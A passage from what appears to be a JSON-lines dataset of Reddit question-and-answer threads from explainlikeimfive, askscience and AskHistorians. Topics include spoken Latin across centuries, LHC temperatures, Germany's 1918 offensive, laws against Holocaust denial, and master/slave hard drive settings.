**abstraction**.  Abstractions are everywhere.  When you open a web page, you're not telling the computer how many volts to shoot across your ethernet cable, you're working on top of a bunch of layers of abstraction that give you a simplified way of doing a complex task.", "If you buy a toaster, you have a slot for bread, a how toasted dial, a go switch, and a wall plug. Most of the time, you don't need to care about  how the toaster is made, or how it makes bread into toast.\n\nThe designer of the toaster takes a bunch of panels, screws, coils, wires and springs, and assembles them into a toaster. He needs to understand what they do, but does not care about when you toast, or how the individual parts are made.\n\nThe manufacturer who makes the screw knows how to turn metal into screw, but does not make the metal, and does not plan specifically for the toaster, he just knows that screws are a useful thing to make things from, and makes them reliable. The same for the people who make the other parts.\n\nIf you do down far enough, that screw is made from an alloy of different metal atoms and additives in a mix, and there is where the actual physics of things bending and holding happen, but you don't care about that when you want your toast (unless you are into that kind of thing as a hobby).\n\n\nEach of these steps of making things trusts the things they build on to do what it should, and only worry about the sum of all of those things working together properly. In computer science, abstraction is the process of deliberately doing  layers between having a bunch of transistors and having people use them to do things. The key thing is that if you are working on one layer, you can treat the tools below you as given, and not need to know how they work, and the people working on higher levels can ask you for tools or parts they need, and you don't need to worry about all of their details of when they need it as long as they define what they want well."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "eonjo7", "title": "If I were a Roman citizen, fluent in Latin, in the time of Justinian the First, could I directly speak with a Roman from 700 years ago in the time of the Punic Wars?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/eonjo7/if_i_were_a_roman_citizen_fluent_in_latin_in_the/", "answers": {"a_id": ["fedyiyd", "feefjjq"], "score": [164, 1329], "text": ["This is probably better suited for /r/linguistics, specifically the Q  &  A Post stickied at the top of the subreddit. They will be more likely to go into the nuances of \"which Latin\" you're talking about and to give you a timeline.", "You certainly could. How well you understood that time-travelling middle republican, however, would depend on your geographic origin and education. \n\nWe tend to think of \"Classical\" Latin - the Latin epitomized by the speeches of Cicero and the poetry of the Augustans - as standard Latin. In reality, nobody ever spoke Classical Latin. Classical Latin was an artificial, literary dialect, founded on the speech of educated Romans in the capital, but never identical to it. All spoken Latin was \"Vulgar\" Latin, informed by its literary cousin to a greater or lesser extent, depending on one's education. \n\nWe know little about spoken Latin in any given place or time. A few texts (such as Petronius' Satyricon) provide tantalizing glimpses. Inscriptions (and especially the graffiti from Pompeii and Herculaneum) tell us more, particularly about pronunciation (traceable from misspellings). From these traces, and from changes in \"Classical\" Latin, we can track broad transformations over the centuries. It is clear, however, that there was always very considerable variety of idiom between regions and classes. \n\nWe know the Latin of c. 200 BC from some helpful inscriptions and a few authors. The earliest well-preserved Latin author is the comedian Plautus, who does seem to reference contemporary colloquial conventions (and admired alliteration). Unfortunately, Plautus' linguistic exuberance (and the fact that he wrote in poetry) makes it difficult to use him as a source for everyday speech. The earliest extant prose author is Cato the Elder, whose work on agriculture has survived. To provide a sample of his Latin:\n\n*Brassica est quae omnibus holeribus antistat. Eam esto vel coctam vel crudam. Crudam si edes, in acetum intinguito. Mirifice concoquit, alvum bonam facit, lotiumque ad omnes res salubre est.* (156)\n\n(It is the cabbage which surpasses all other vegetables. It may be eaten either cooked or raw; if you eat it raw, dip it into vinegar. It promotes digestion marvelously and is an excellent laxative, and the urine is wholesome for everything.)\n\nThis is, of course, literary Latin, but in a very straightforward style probably similar to contemporary conversation. For want of anything better, we might take this as our baseline for spoken Latin in the time of the Punic Wars.\n\nCicero or Caesar would have expressed Cato's sentiment somewhat differently, but nothing in Cato's language was fundamentally different from that of the \"Classical\" Latin masterpieces of the following century. Those masterpieces - the works of Cicero, Virgil, and friends - were still the basis of Latin education in Justinian's time. Latin literature of the sixth century, accordingly, tends not to look too different from that of earlier periods. To take an entertaining example from Pope Gregory the Great's Life of St. Benedict:\n\n...*coepit ipse tremens et palpitans magnis vocibus clamare, dicens Currite, currite, quia draco iste me devorare vult.* (*Dialogues* 2.25)\n\n(...he \\[a recreant monk\\], shaking and trembling, began to loudly cry out, saying: \"run, run \\[to help me\\], for a dragon wishes to devour me!\")\n\nNot quite Ciceronian Latin, but there's nothing here that would have been unintelligible to Cato.  \n\nSpoken Latin had probably deviated much further from \"Classical\" norms by the time of Justinian. It is hard to say, however, how far. The Latin of Rome had always different from the Latin of other parts of Italy, and even more from the Latin of Spain or Gaul. With the disappearance of the western imperial superstructure, and the slower but equally epochal collapse of secular education, these differences became more pronounced. Some changes seem to have taken place everywhere (most famously, prepositions were gradually replacing noun cases). But the nature of one's Latin would always have been a product of origin and education - as would one's intelligibility to a Roman from the age of Cato.\n\nHopefully, someone who knows more about colloquial Latin will be able to add more detail."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2l4f2i", "title": "Can sound affect magnetic fields?", "selftext": "If so, what conditions would have to occur for this to be observable?  Weak fields, LOUD sounds, etc?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2l4f2i/can_sound_affect_magnetic_fields/", "answers": {"a_id": ["clrmwju", "clrpem5", "clrrozc"], "score": [2, 3, 3], "text": ["Practically? no. \n\nIf we want to get *really* pedantic about it; the air has a relative magnetic permeability which is pretty damn close to vacuum and (I'm now guessing a little here) let's *suppose* that the sound wave is so great as to change the air density, ever so slightly changing the relative permeability of the air, then the strength of the magnetic field would change **by a miniscule amount**. \n\nBut this is going to be so small and maybe not even possible (We could calculate it perhaps but I'm not sure how i'd go about calculating the permeability of different densities of air) that really no, sound does not effect magnetic fields. ", "This is probably not what you're after, but [sound waves and magnetic fields are coupled in magnetized plasma](_URL_0_). Low frequency oscillations in magnetized plasma have a few normal modes: fast and slow magnetosonic waves (i.e., sound waves in magnetized plasma) and shear Alfv\u00e9n waves (similar to plucking a string, where the magnetic field lines act as if they have tension).", "it depends on your definition of sound.\n\nif we define sound as a pressure wave propagating through any elastic material, then sure.\n\nvibrate a ferromagnetic string in front of an electromagnet and you get an electric guitar.\n\nif you're talking about sound propagating through the air then, no, look at /u/travis373 response."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://farside.ph.utexas.edu/teaching/plasma/Plasmahtml/node65.html"], []]}
{"q_id": "39r8do", "title": "What contact existed between Chinese or other ancient eastern states and indigenous siberians? How was the land far north of the Yangtze regarded?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/39r8do/what_contact_existed_between_chinese_or_other/", "answers": {"a_id": ["cs61e0s"], "score": [2], "text": ["Well, could you clarify a bit?\n\n1. What do you mean by \"ancient\" in this context? Do you just mean pre-modern?\n1. What do you mean by \"far north of the Yangtze?\" In the earlier dynasties the Yellow River was the center of China, and the Yellow River is fairly north of the Yangtze. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6kkobb", "title": "phil jackson's reputed, patented triangle offense. what are the patterns and reads to the offense and what are the benefits from the perspective of a coach and/or player? what type of players do you need for this offense to be successful?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6kkobb/eli5_phil_jacksons_reputed_patented_triangle/", "answers": {"a_id": ["djn71q0"], "score": [7], "text": ["I'm sure someone can give a much better, detailed answer. And Google can definitely give you a thorough one with pictures. But the gist of the triangle relies on three player forming the vertices of a triangle. Any one of those three players can initiate a play. Typically the triangle is set up between someone at the top of the key, someone on the wing, and someone in the low post. Since the triangle is a half court play, you don't necessarily need a traditional point guard with ball handling skills, hence why Someone atrocious like Derek Fisher was the Lakers starting point guard. The main thing you need is someone who can hit the open J if they are on the outside and someone on the inside who can keep their defender honest. The triangle is unlike a lot of other set plays in that it is fluid and the players forming the triangle need to be able to read and adjust the triangle formation accordingly. Also a reason why scrubs like Luke Walton gets so many minutes from PJ (high IQ). \n\nI've watched the Shaq-Kobe era more extensively than the Bulls era. That team under PJ was so successful in part to the triangle, which masks weaknesses in some of the guys, but also had two of the best 1-on-1 guys the league had ever seen in Kobe and Shaq. You would see them run the triangle during certain sets but PJ would allow Kobe and Shaq to free reign at other times. \n\nTo sum it up, the triangle is successful when guys can knock down perimeter shots and keep their defenders from dropping to the paint to help at the rim. The guy at the rim is good enough to keep their defender honest and guys on the perimeter have to drop low to help out, freeing the perimeter guys to hit wide open shots. \n\nAnd from what I remember, Phil wasn't the mastermind of the triangle. It was Tex Winters I believe. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "aogkcv", "title": "How close was the german army to winning the war in 1918", "selftext": "0- Asking this question to know if germany had at chance at the start of kaiserschlacht ?   \n\n1- was taking paris a possibility ?\n\n\n2- if paris were to put under siege or even fall was france going to ask for an armistice v\n\n\n2-how important was the city of amiens strategically for both the german and british army ?\n\n3-if amiens were to fall was the british army going to retreat from Flanders \n\n4-how important was the role of the AEF in stopping the offensive \n\nAlso what do you think of this book The German 1918 Offensives: A Case Study in The Operational Level of War by david zabecki ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/aogkcv/how_close_was_the_german_army_to_winning_the_war/", "answers": {"a_id": ["eg1o2zv"], "score": [16], "text": ["The war wasn't exactly a \"down to the wire\" narrative as its often portrayed during Germany's Spring Offensive. Germany may have closed the Eastern Front and could devote their remaining troops to a large offensive on the Western Front, but the German Army and the Empire's internal politics was deteriorating at a rapid pace, and ultimately fell victim to riots, mutiny, and at the end, revolution.\n\nBefore I get to the meat of the issue that was the Western Front. We have to talk about Germany's allies within the Central Powers. \n\nThe Ottoman Empire in 1918 was in no position to combat the British/Arab combined offensive up the Levant and Mesopotamia. Baghdad was captured by the British in March of 1917, along with Jerusalem just before Christmas of that year. By 1918, the British and Arab Revolt would be in Damascus and Aleppo and poised to push into the heart of Anatolia. No matter the outcome for Germany in the Western Front, the Ottoman Empire was going to fall.\n\nNext is Austria-Hungary, who was still engaged in bitter fighting on the Italian Front. 1918 saw a complete reversal of all Austro-Hungarian success on the front made in 1917 at the Battle of Caporetto, and its entire army was for all purposes obliterated at the Battle of Vittorio Veneto in October 1918, suffering over half a million casualties/captured in just under 2 weeks.\n\nThis is to show that no matter how successful a German Offensive might be in the West, Germany's allies were all in a hopeless or failing situation. They were going to fall regardless of the outcome on the Western Front.\n\nNow lets get to Germany itself, where its misfortunes in 1918 start with its victory against Russia. Erich Ludendorff, chief of the German General Staff, had initial hopes that Russia's withdraw from the war would begin a negotiation with the remaining Allied Powers from a position of strength. The resulting Treaty of Brest-Litovsk with Russia however, which saw an extreme amount of territory taken from Russia [shown here](_URL_1_), was seen as so harsh in its terms that it strengthened Allied resolve against Germany in fear of similar terms enforced on them, no negotiation was opened because of this.\n\nWhat the Treaty of Brest-Litovsk did do though was free up 50 German divisions from the East for the Spring Offensive. Ludendorff knew that once fresh troops from the US started arriving in large numbers, the war was surely lost. Germany had essentially no reserve troops left to replace losses, so the Spring Offensive was by its nature a desperate, all-or-nothing gamble to capitulate France before Allied troops could reinforce their frontline with fresh troops.\n\nAs for the Spring Offensive itself, the goal of the offensive changed constantly even down to the days before the offensive's start. Initial goals changed from the Channel Ports of Calais and Dunkirk to cut off allied supplies and incoming soldiers to important rail junction yards, then eventually for Paris itself. In the end, almost all the land Germany captured in its offensive was strategically worthless. No major rail yards or ports were captured. Germany suffered nearly 700,000 casualties without gaining any real strategic advantage while the Allies kept reinforcing their defenses with more and more fresh soldiers. By the time Germany attempted to break through at the Second Battle of the Marne, the advance was wholesale stopped  with the help of freshly reinforced divisions. After that failure, Germany no longer had any capability to launch any offensive operation, and were driven back during the following Hundred Days Offensive.\n\nThe situation for Germany at home was equally, if not more dire. Food shortages as a result of the British blockade led to food riots across the Empire. The German Navy was ordered to perform its own all-or-nothing breakthrough of the British blockade to reopen food imports, which resulted in the Kiel Mutiny by German sailors seeing the order as complete suicide. This mutiny sparked the wider German Revolution, which resulted in the complete collapse of the German Monarchy.\n\nTo answer your points directly though.\n\n0 - Kaiserschlact was very flawed in its planning stages, without even a concrete strategic objective in mind at the start. With objectives switching back and forth between the channel ports and the railyards all the way to its execution, with none of either objective actually taken. It had little chance of actually succeeding.\n\n1 - No. The Germans were wholesale beaten outside of Paris at the Second Battle of the Marne, the casualties taken in this battle were so extreme that German forces were incapable of any offensive action afterward.\n\n2 - this goes into /r/historywhatif territory for me, as I have not read or heard of any French contingency plan for if Paris were to fall. If anyone has such a document, I'd love to read it.\n\n3 - Amiens was one of the strategically important railyards mentioned earlier, having great importance for its center of supply and reinforcement. The British used the city as its primary forward base because of this easy source of supply and reinforcement, and was where we saw the beginning of the Hundred Days Offensive.\n\n4- Again, there's no way of predicting the British reaction to a situation that did not happen. If there is a document regarding such contingency plans, I'd love to see it.\n\n5- the American Expedition was nothing but a boon to the Allied forces, raising morale and providing fresh reinforcements for both defending against the Spring Offensive and the counterattack during the Hundred Days Offensive. The debate over their importance being the deciding factor between allied victory or defeat is up for debate between some people, but this isn't about debate and the definitive answer is that the AEF did contribute positively to the Allied war effort.\n\nSources:\n\n[Kaiserschlact 1918: The Final German Offensive of World War One](_URL_0_) by Randall Gray\n\n[The Kaiser's Battle](_URL_2_) by Martin Middlebrook"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://books.google.com/books/about/Kaiserschlacht_1918.html?id=nLAhAQAAIAAJ", "https://upload.wikimedia.org/wikipedia/commons/d/df/Map_Treaty_of_Brest-Litovsk-en.jpg", "https://books.google.com/books/about/The_Kaiser_s_Battle.html?id=20tYPgAACAAJ"]]}
{"q_id": "96bcqc", "title": "how do scientists at the large hadron collider safely create and record temperatures of 5.5 trillion degrees?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/96bcqc/eli5_how_do_scientists_at_the_large_hadron/", "answers": {"a_id": ["e3z85g0", "e3zbz03", "e3zfdgb", "e3zhf2f", "e3zsy01", "e3zvbv8", "e40a2uj", "e40ewog"], "score": [612, 14, 2, 84, 13, 6, 2, 2], "text": ["Primarily by making it happen to a very very small amount of material. 5.5 Trillion degrees sounds like a lot, but in terms of mass x thermal energy, the sample size at that temperate is so small that if you distributed all the energy there into a bucket of water, it wouldn't boil.\n\nThe LHC is aiming to create a very specific set of conditions on a very small sample.  They use a lot of energy to smash stuff together and witness high energy interactions, but it happens using a very small amount of mass.\n\n", "I'm not an expert on the LHC, so I'll let someone else explain that, but an important basis for this is the definition of temperature, which is the average kinetic energy in the random movement if particles. It might make more sense to call it the \"average particle shakiness.\"\n\nYour body right now is at about 310 degrees Kelvin (the absolute temperature scale used so that Zero Kelvin is absolute zero, or no shakiness). But you have a massive amount of molecules inside you. For our purposes, let's say it's about a trillion trillions. This means that if we could somehow suck all the thermal energy from your body and put into just 1 trillion molecules, they would each have a temperature in the range of trillions of Kelvin (or Celsius, which is basically the same).\n\nThis doesnt explain HOW energy is given, but hopefully it helps illustrate what temperature means. A single particle at a high temperature is nothing compared to the amount of energy in any visible substance.", "A small ice cube melts in minutes and doesnt cool you in the summer. A gigantic ice block can keep a small room cooked for a few hours. That's what happens in the LHC just with heat and not with cold. ", "All Celcius in this comment, but it works for any temperature scale. \n\nImagine you have a bucket of water at 80 degrees and another bucket of the same size at 40 degrees. You mix them in a bath tub and then you have water at 60 degrees. Half and half gives you the temperature in the middle.\n\nIf you have a bucket at 23 degrees (room temperature) and a single drop at 99 degrees, mixing them is going to give you a bath tub of water at 23.0001 degrees. Not even close to the middle temperature, but that's because there is not much hot water.\n\nThe same idea applies but there is WAY less than a drop of matter at 5 trillion degrees, it's a few particles (atomic particles) in a machine that weighs thousands of tonnes. ", "Every comment in here is explaining why it is safe, but not one person has explained how in the world a temperature measured in trillions of degrees is actually measured.", "Nobody seems to have explained how they measure the temperature. Well the short answer is they don't measure it, they calculate it. At that high of temperature there is nothing that can be done to actually measure it as it would melt anything that touched it (ignoring a couple other things that would make this impossible as this is eli5) and the blackbody radiation emmited from it would be such high frequency that we could not measure it based on that, and for samples of this size it would rarely emit even single photons. The way that they figure out the temperature is actually quite simple. They measure the amount of energy they put into or measure the amount of energy that can be extracted and use the amount of energy and the number of particles to figure out the temperature. For example if you put water in the microwave for a minute you would be able to figure out the temperature based on how much water you put in and the power of your microwave.", "A bit more eli5 than most other responses I saw. \n\nJust like you can have a light that is very big but dim and a very small light that is incredibly bright you can have a huge amount of heat that is just a bit warm or a tiny amount of heat that is extremely hot. You just can't see the difference like you can with a lamp.\n\nYou can see the effect in ice. A small cube and a big block have the same temperature but the block takes far longer to melt. \n\nIn the LHC the amount of heat is extremely small and over an uncountably short amout of time which makes it very safe to handle", "The difference between heat and temperature.\n\nThink about an over heated to 500 degrees for a long enough time that temperature has evened out.  Everything in the oven if 500 degrees.  The sides and bottoms, the racks, the pans, the cast iron skillet, the over cooked turkey, the burned potatoes. . and the air are all 500 degrees.\n\nIf you open the oven and put your hand in it it - it won't burn (right away).  The air is 500 degrees, but there isn't a lot of heat in it - the mass is extremely low.\n\nNow touch the cast iron skillet - your hand will instantly burn.  The cast iron skillet is the exact temperature as the air, but it has tremendously more heat because of its mass. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "vf4wt", "title": "Will we ever get a probe or even better a human to the centre on the Earth?", "selftext": "If so what would we find there? Would loads of pressure be released causing mega eruptions or send the earth flying through the solar system like a burst balloon?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/vf4wt/will_we_ever_get_a_probe_or_even_better_a_human/", "answers": {"a_id": ["c53xzx0"], "score": [20], "text": ["I work on camera systems that go on vehicles with depths ranging from 100 m to 4 km in the ocean... For 100 m, we get to work with nice easy materials like aluminum (6061 is popular for its corrosion resistance). For 4 km, we need pretty fancy pressure housings made out of a single titanium crystal (something like Ti-6-2-4-6). The pressure at this depth is around 40 MPa, and the temperature is a nice 3 degrees Celsius.\n\nThe pressure at the center of the earth is 350 *GPa*, and the temperature is probably 5000 C or more. There are no known or proposed materials which can stand up to these conditions."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4hrvlh", "title": "Why is historical revisionism a crime in certain countries?", "selftext": "And how do you feel about it, as historians?\n", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4hrvlh/why_is_historical_revisionism_a_crime_in_certain/", "answers": {"a_id": ["d2s9h33"], "score": [138], "text": ["**Part 1**\n\nHistorical revisionism is not a crime, anywhere. A certain number of countries outlaw Holocaust denial specifically and Holocaust denial is not revisionism. As per /u/Georgy_K_Zhukov in this [post](_URL_0_), Michael Shermer and Alex Grobman write that\n\n >  For a long time we referred to the deniers by their own term of \u201crevisionists\u201d because we did not wish to engage them in a name-calling contest (in angry rebuttal they have called Holocaust historians \u201cexterminationists,\u201d \u201cHolohoaxers,\u201d \u201cHolocaust lobbyists,\u201d and assorted other names). [...] We have given this matter considerable thought\u2014and even considered other terms, such as \u201cminimalizers\u201d\u2014but decided that \u201cdeniers\u201d is the most accurate and descriptive term for several reasons:\n > \n >  When historians talk about the \u201cHolocaust,\u201d what they mean on the most general level is that about six million Jews were killed in an intentional and systematic fashion by the Nazis using a number of different means, including gas chambers. According to this widely accepted definition of the Holocaust, so-called Holocaust revisionists are in effect denying the Holocaust, since they deny its three key components\u2014the killing of six million, gas chambers, and intentionality. In an ad placed in college newspapers by Bradley Smith, one of the \u201crevisionists\u201d discussed in this book, he even uses this verb: \u201cRevisionists deny that the German State had a policy to exterminate the Jewish people (or anyone else) by putting them to death in gas chambers or by killing them through abuse or neglect.\u201d\n > \n >  Historians are the ones who should be described as revisionists. To receive a Ph.D. and become a professional historian, one must write an original work with research based on primary documents and new sources, reexamining or reinterpreting some historical event\u2014in other words, revising knowledge about that event only. This is not to say, however, that revision is done for revision\u2019s sake; it is done when new evidence or new interpretations call for a revision.\n > \n >  Historians have revised and continue to revise what we know about the Holocaust. But their revision entails refinement of detailed knowledge about events, rarely complete denial of the events themselves, and certainly not denial of the cumulation of events known as the Holocaust.\n > \n >  Holocaust deniers claim that there is a force field of dogma around the Holocaust\u2014set up and run by the Jews themselves\u2014shielding it from any change. Nothing could be further from the truth. Whether or not the public is aware of the academic debates that take place in any field of study, Holocaust scholars discuss and argue over any number of points as research continues. Deniers do know this. For example, they often cite the fact that Franciszek Piper, the head of the Department of Holocaust Studies at the Auschwitz-Birkenau State Museum, has refined the number killed at Auschwitz from four million to a little more than one million, arguing that this proves their case. But they fail to note that at the same time the numbers have been revised up\u2014for example, the number of Jews murdered by the Einsatzgruppen during and after the invasion of the Soviet Union. The net result of the number of Jews killed\u2014 approximately six million\u2014has not changed. In the case of Auschwitz and the other camps liberated by the Russians, since the end of the Second World War the Communists\u2019 efforts to portray the Nazis in the worst light possible led them to exaggerate the number of the Nazis\u2019 victims and the number of extermination camps. Scholars have had to clear through Communist propaganda to get to the truth about what happened. This sifting of data has resulted and will continue to result in Holocaust revision.\n\nAs far as the legal situation goes, at this point in time 16 countries outlawed Holocaust/genocide denial explicitly or implicitly (Austria, Belgium, Czech Republic, France, Germany, Hungary, Israel, Liechtenstein, Lithuania, Luxembourg, Netherlands, Poland, Portugal, Romania, Slovakia, and Switzerland). Some of them like Austria of France do it explicitly in laws passed for this purpose, other do it implicitly by interpreting existing laws against hate speech, group libel, incitement to racial hatred or acts of racial or xenophobic nature in a way that outlaws Holocaust denial. The European Union decided in April 2007 to pass a law against Holocaust denial but leaves it to the members to incorporate it in their own law. (This coming from an unpublished article I wrote a couple of years back)\n\nObviously, some of this clashes with US American ideas of freedom of expression, so let me explain the legal situation.\n\n**TL;DR**: European countries outlaw Holocaust denial directly or indirectly because as a form of political agitation, it poses a social and political thread to the established democratic order as well as to the social peace in these countries. Both are legal and historical sufficient reasons to outlaw this specific form of speech under the \"pressing social need\" exception, laid out by various constitutional courts and the European Human Rights court.\n\nFreedom of speech is one of the most valuable freedoms in Europe. The European Human Rights Court found that \u201cfreedom of expression constitutes one of the essential foundations of a democratic society and one of the basic conditions for its progress and each individual\u2019s self fulfillment.\u201d Freedom of speech in Europe is guaranteed by the European Human Rights Convention, a Convention every member of the Council of Europe has to ratify as a condition to be member of the council. Currently every European country except Belarus but including Russia and Turkey is a member of the council. The European Human Rights Court can be invoked by every citizen of a signing state claiming a violation of rights guaranteed in the Convention by a court or another governmental institution.\n\nArticle 10 of the Convention protects freedom of speech, but also subjects it to the exceptions in the second paragraph:\n\n >  1.  Everyone has the right to freedom of expression. This right shall include freedom to hold opinions and to receive and impart information and ideas without interference by public authority and regardless of frontiers. This article shall not prevent States from requiring the licensing of broadcasting, television or cinema enterprises.\n > \n >  2. The exercise of these freedoms, since it carries with it duties and responsibilities, may be subject to such formalities, conditions, restrictions or penalties as are prescribed by law and are necessary in a democratic society, in the interests of national security, territorial integrity or public safety, for the prevention of disorder or crime, for the protection of health or morals, for the protection of the reputation or the rights of others, for preventing the disclosure of information received in confidence, or for maintaining the authority and impartiality of the judiciary.\n\nThe different approach to freedom of speech of Europe and the United States reveals itself regarding just the addressed subject of the legal text guaranteeing this freedom. While the First Amendment addresses the legislator as its subject prohibiting him to abridge the freedom of speech, Article 10 of the European Human Rights Commission addresses the citizen as its subject granting him the freedom of speech. The basic understanding is a different one: The First Amendment regards the legislator and government institutions as a \u201cdanger\u201d to a freedom every citizen has. In contradiction to this, in Europe freedom of speech is something \u201cgranted\u201d by the legislator to the citizen.\nThe same legislator that \u201cgrants\u201d a freedom is able to subject the same freedom to exceptions. The European Human Rights Court holds that these exceptions must be construed strictly. A pressing social need must exist to justify restrictions on the freedoms guaranteed in the Convention.\n\nAccording to the European Human Rights Court, there is a pressing social need that justifies laws criminalizing Holocaust denial in various European countries such as France, Germany and Austria. Germany and France are examples of different legal ways nations within Europe chose to deal with the problem of Holocaust denial.\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/4eer7q/is_there_any_veracity_to_the_claims_of_holocaust/d1zxe4i"]]}
{"q_id": "4b85km", "title": "does a wired pc \"hog\" bandwidth before wifi devices get to it?", "selftext": "Inspired by this post: _URL_0_\n\nHope this follows all rules, tried searching but couldn't find this question", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4b85km/eli5_does_a_wired_pc_hog_bandwidth_before_wifi/", "answers": {"a_id": ["d16tsre", "d16w8xh", "d174u2e"], "score": [17, 8, 4], "text": ["That would depend on the architecture of the router you are using. In any case the router will find it easier to communicate over wire. ", "I'm not sure on if it would have priority over sheer bandwidth if someone on wifi was trying to stream HD Netflix at the same time as someone doing it over Ethernet.\n\nHowever, the wired Ethernet *will* have priority in obtaining a connection if there are a dozen wifi devices all trying to get onto a home network that only is typically designed to handle 5 or so WiFi connections at once. This happens at my parent's house during Christmas when there are a dozen guests over and everyone has a phone and/or iPad all trying to get on the house's WiFi. The cheap home router can't host 20 wireless devices at once so everyone is constantly getting dropped from the signal. Meanwhile, anyone on a wired Ethernet has a solid connection because those are dedicated ports and the router will never \"drop\" that uplink.", "Basically: If your router does that, manufacturers were lazy and it is a bad router.\n\nEDIT to add: people don't seem to understand that a router has software on it that handles these things. Changing a line of code in that software could give wired devices absolute priority, or give wireless devices absolute priority . . . having a more sophisticated and appropriate (I call it \"fair\") way of handling traffic is the better design. It is an issue of software design quality and will vary from router to router.\n\nFairly dividing traffic over different interfaces (wired vs wireless) is a problem for the manufacturer to solve. In some sense, it is their job to make sure it works well. But the practical reality may be that making it work \"pretty well\" is seen as \"good enough\" and they leave it at \"pretty good,\" not perfect.\n\nTo be honest, it depends on the router. I would call a router badly designed, if it gives wired devices 100% priority, to the point that wireless devices maybe can't even connect to a basic webpage.\n\nA lot of the time, your router is not sending or receiving at its maximum capacity. So a lot of the time any device can do its thing on the network regardless of the fair or unfair design.\n\nThe concept you're asking about is called \"Quality of Service\" in the IT industry. More sophisticated and configurable QoS is treated as a special feature and is not necessarily a given."]}, "title_urls": [], "selftext_urls": ["https://www.reddit.com/r/explainlikeimfive/comments/4b7tc5/eli5_why_if_your_internet_is_above_average_will/"], "answers_urls": [[], [], []]}
{"q_id": "5bismv", "title": "the feeling of malaise felt after a nap.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5bismv/eli5_the_feeling_of_malaise_felt_after_a_nap/", "answers": {"a_id": ["d9ov2j8"], "score": [7], "text": ["Depending on the length of a nap you may have suffered from SLEEEEEP INEEEERTIA! Basically you slept too long to have a nap and not long enough for actual sleep. So as you wake up you're pushing through the \"stay asleep\" hormones and generally making your body do what it doesn't want to do which is uncomfortable."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2v56ok", "title": "how does opalization occur?", "selftext": "I showed my friend, who is extremely knowledgeable about minerals, a fire opal that was posted on reddit today.  During our conversation he mentioned a really interesting trait of opals, that if you leave things near them those things will turn to opal too.\n\nHe said it's called opalization, I found a picture of a bone that had turned to opal online and I've tried to find more information about it without much luck.  He mentioned a story of a cat that went into an opal mine, died on a deposit, and when they found it a couple years later the cat had turned to opal.  Blew my mind, is that possible?\n\nHow does opalization occur?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2v56ok/eli5_how_does_opalization_occur/", "answers": {"a_id": ["coenpve"], "score": [6], "text": ["Opal crystalizes by combining silicon dioxide with water. So anything with water in it covered in silicon dioxide might have the water become opal.\n\nBut you couldn't just bury an opal with a bone - you would need to bury a bone in a natural opal deposit."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9lin2q", "title": "what is the difference between primary and secondary, and difference between master and slave hard drive?", "selftext": "I looked up on the internet but can't really find anything that I can understand. I know that there is primary master drive (on all computers, and the rest as optional drives (primary slave, secondary master, and secondary slave). But what's the difference?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9lin2q/eli5_what_is_the_difference_between_primary_and/", "answers": {"a_id": ["e771e4n", "e771ql3", "e772zns", "e773l3q"], "score": [2, 17, 3, 5], "text": ["Master/slave terminology hasn't been used since the paralell ATA days (aka until about 2004ish, although cable select was common well before then, negating such discussions).", "Master and slave? In 2018, it's something to be ignored. It's a relic of ancient PATA two-inch-ribbon cable technology, when the cables were so big they had to connect not one but *two* hard drives to the motherboard.\n\nIn fact, it's a relic of the earliest days of that technology when the drives had to be instructed whether they were \"master\" or \"slave\" by placing a little jumper across the \"master\" or \"slave\" pairs of pins. Later did they learn to figure out if they were on the first or second position of the PATA cable, and configure their own damn selves.\n\nNow everything is SATA! And SATA is one for one, and SATA doesn't care about ordering. Everything is configured in the BIOS.\n\nDisclaimer, I was born in '95 and invite any old timers to tell me where I'm all wrong.", "In the simplest terms, Primary (master) is the drive that contains your operating system, or \"boot\" drive.  Secondary (slave) is usually used for extra storage.  Back in the day, you indicated which drive was the primary by setting a little jumper switch on the drive, which would let the computer know which drive contains the Operating System when it starts up.\n\nEdit: grammar...\n\n", "Not only were there Master and Slave on the IDE cable (with matching Master/Slave jumpers on the drives), but there were usually always two IDE ports: Primary and Secondary. You'd usually always install your bootloader onto the Primary Master drive.\n\nThe boot order otherwise was usually:    \nPrimary Master    \nPrimary Slave    \nSecondary Master    \nSecondary Slave"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
